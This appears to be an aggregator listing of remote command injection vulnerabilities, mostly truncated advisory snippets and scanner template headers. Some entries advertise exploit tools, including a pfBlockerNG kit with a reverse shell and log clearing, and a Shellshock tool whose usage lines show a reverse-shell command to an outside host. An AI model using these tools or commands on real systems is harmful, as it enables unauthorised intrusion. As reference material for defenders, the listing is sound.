SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 利用工具包。 这是什么？ 这是一个针对 pfSense pfBlockerNG = 2.1.426 插件远程命令注入漏洞（由 IHTeam 发现）的利用工具包。 我编写这个工具是为了模拟 NSA 防火墙利用工具包中的一些设计原则——因此，它设计为完全兼容 nopen 植入（只需一个小的、已文档化的修改），内置日志清除功能，并通过实现一些预检检查（被动和主动漏洞测试）来确保极高的可靠性。 提供了一个用 Python 编写的简单反向 TTY Shell 载荷作为本工具...

RaspAP <=2.6.5 - Remote Command Injection

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/getnetcfg.php, when the "iface" parameter value contains special characters such as ";". id: CVE-2021-33357 info: name: RaspAP =2.6.5 - Remote Command Injection...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php. This in turn can lead to...

Node.JS System Information Library <5.3.1 - Remote Command Injection

Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS npm package "systeminformation" is an open source collection of functions to retrieve detailed hardware, system and OS information. id: CVE-2021-21315 info: name: Node.JS System...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through t...

Yachtcontrol Webapplication 1.0 - Remote Command Injection

Yachtcontrol Webapplication 1.0 makes it possible to perform direct operating system commands as an unauthenticated user via the "/pages/systemcall.php?command=COMMAND" page and parameter, where COMMAND will be executed and returning the results to the client. Affects Yachtcontrol webservers...

Pandora FMS 7.0NG - Remote Command Injection

Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ipsrc parameter in an index.php?operation/netflow/nfliveview request. id: CVE-2019-20224 info: name: Pandora FMS 7.0NG - Remote Command Injection author: ritikchaddha severity: hig...

D-Link Routers - Remote Command Injection

D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 device may allow an authenticated attacker to execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the apply action in StorageMgmtController. The callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerabili...

Hongdian H8922 3.0.5 - Remote Command Injection

Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address a/k/a Destination field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive informatio...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock远程命令注入 CVE-2014-6271 Apache Shellshock远程命令注入工具，用于快速反弹Shell和文件浏览 Shellshock Apache远程利用 用法： ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files rhost=1.2.3.4 page=3 echo="ls -la" ./Shellshock.py payload=files...

Barco/AWIND OEM Presentation Platform - Remote Command Injection

The Crestron AM-100 firmware 1.6.0.2, Crestron AM-101 firmware 2.7.0.1, Barco wePresent WiPG-1000P firmware 2.3.0.10, Barco wePresent WiPG-1600W before firmware 2.4.1.19, Extron ShareLink 200/250 firmware 2.0.3.4, Teq AV IT WIPS710 firmware 1.1.0.7, SHARP PN-L703WA firmware 1.4.2.3, Optoma WPS-Pr...

MovableType - Remote Command Injection

MovableType 5002 and earlier Movable Type Advanced 7 Series, Movable Type Advanced 6.8. 2 and earlier Movable Type Advanced 6 Series, Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified...

Altenergy Power Control Software C1.2.5 - Remote Command Injection

Altenergy Power Control Software C1.2.5 is susceptible to remote command injection via shell metacharacters in the index.php/management/settimezone parameter, because of settimezone in models/managementmodel.php. An attacker can potentially obtain sensitive information, modify data, and/or execut...

YeaLink DM 3.6.0.20 - Remote Command Injection

Yealink Device Management DM 3.6.0.20 allows command injection as root via the /sm/api/v1/firewall/zone/services URI, without authentication. id: CVE-2021-27561 info: name: YeaLink DM 3.6.0.20 - Remote Command Injection author: shifacyclewala,hackergautam severity: critical description: Yealink...

Ashwesker-CVE-2025-60021

🛑 CVE-2025-60021 — Apache bRPC 远程命令注入 📌 概述 CVE-2025-60021 是存在于 Apache bRPC 版本 1.15.0 之前 的 堆分析器内置服务 /pprof/heap 中的一个严重远程命令注入漏洞 ，允许未经身份验证的攻击者执行任意操作系统命令。 NVD 🔓 漏洞详情 属性| 信息 ---|--- 名称/ID| CVE-2025-60021 产品| Apache bRPC（所有平台） 影响版本| ❗攻击者只需操控此分析参数即可远程注入命令。 🚨 严重性与风险 🔥 严重性评级: 严重 📊 CVSS v3.1 基础评分: 9.8 / 10...

CVE-2022-30525

CVE-2022-30525 Zyxel 防火墙远程命令注入漏洞（CVE-2022-30525）批量检测脚本 脚本仅提供测试功能，不包含实际攻击请求，仅用于安全检测，一切利用脚本进行违法测试的行为均与本人无关...

Rocky Linux 8 [CIQ] Security Update: cups / cups-client / cups-client-debuginfo / cups-debuginfo / etc (crlsa-2025_0083)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20250083 advisory. cups: libppd: remote command injection via attacker controlled data in PPD file CVE-2024-47175 Tenable has extracted the preceding description block directly from t...